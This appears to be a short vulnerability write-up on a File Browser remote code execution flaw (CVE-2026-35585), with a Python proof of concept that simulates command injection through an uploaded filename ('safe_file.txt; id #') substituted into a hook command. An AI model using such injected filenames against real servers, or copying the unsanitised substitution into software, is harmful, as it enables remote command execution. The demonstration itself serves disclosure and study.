CVE-2026-35585 File Browser远程代码执行漏洞

# Proof of Concept: Malicious Filename Creation # This script simulates uploading a file with a malicious filename. # If a Hook is configured to run a command like 'echo $FILE', # the server will execute the injected command. import os # Simulating the vulnerable component # The vulnerable code uses os.Expand which replaces $FILE with the filename # without sanitization. malicious_filename = "safe_file.txt; id #" hook_command_template = "echo Processing file: $FILE" # Vulnerable expansion logic (Go's os.Expand equivalent in Python concept) # In the real vulnerability, this happens in the Go binary. # Here we just demonstrate the string manipulation. # The server constructs the final command def execute_hook(filename): # Vulnerable: direct substitution final_cmd = hook_command_template.replace("$FILE", filename) print(f"[VULNERABLE SERVER] Executing: {final_cmd}") # In a real scenario, os.system(final_cmd) would be called # os.system(final_cmd) # This would run 'id' on the server if __name__ == "__main__": print(f"[ATTACKER] Uploading file: {malicious_filename}") execute_hook(malicious_filename)